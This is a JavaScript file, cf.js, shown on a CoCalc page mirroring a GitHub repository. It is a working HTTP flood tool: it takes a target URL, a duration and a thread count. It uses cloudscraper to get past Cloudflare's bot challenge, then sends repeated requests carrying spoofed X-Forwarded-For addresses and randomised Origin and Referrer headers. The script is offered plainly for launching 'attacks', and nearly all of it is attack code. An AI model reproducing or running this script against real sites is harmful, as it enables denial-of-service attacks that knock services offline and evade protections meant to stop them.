Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
kenne400k
GitHub Repository: kenne400k/22
Path: blob/main/cf.js
328 views
1
const cloudscraper = require('cloudscraper');
2
const request = require('request');
3
const args = process.argv.slice(2);
4
5
process.on('uncaughtException', () => { "Hi" });
6
process.on('unhandledRejection', () => { "Hi" });
7
8
if (process.argv.length <= 2) {
9
console.log(`[Usage] node cf.js <url> <time> <threads>`);
10
console.log(`[Example] node cf.js example.com 60`);
11
console.log(`[Warning] Do not use on .edu .gov domains`);
12
process.exit(-1);
13
}
14
15
const rIp = () => {
16
const r = () => Math.floor(Math.random() * 255);
17
return `${r()}.${r()}.${r()}.${r()}`;
18
}
19
20
const rStr = (l) => {
21
const a = 'abcdefghijklmnopqstuvwxyz0123456789';
22
let s = '';
23
for (let i = 0; i < l; i++) {
24
s += a[Math.floor(Math.random() * a.length)];
25
}
26
return s;
27
}
28
29
const url = process.argv[2]
30
const time = Number(process.argv[3])
31
const threads = Number(process.argv[4]) || 1;
32
33
console.log(`[Info] Starting ${time} seconds attack on ${url} with ${threads} threads`);
34
35
for (let i = 0; i < threads; i++) {
36
const int = setInterval(() => {
37
cloudscraper.get(url, function (e, r, b) {
38
if (e) return;
39
const cookie = r.request.headers.request.cookie;
40
const useragent = r.request.headers['User-Agent'];
41
const ip = rIp();
42
request({
43
url: url,
44
headers: {
45
'User-Agent': useragent,
46
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
47
'Upgrade-Insecure-Requests': '1',
48
'cookie': cookie,
49
'Origin': 'http://' + rStr(8) + '.com',
50
'Referrer': 'http://google.com/' + rStr(10),
51
'X-Forwarded-For': ip
52
}
53
});
54
});
55
});
56
57
setTimeout(() => clearInterval(int), time * 1000);
58
59
}
60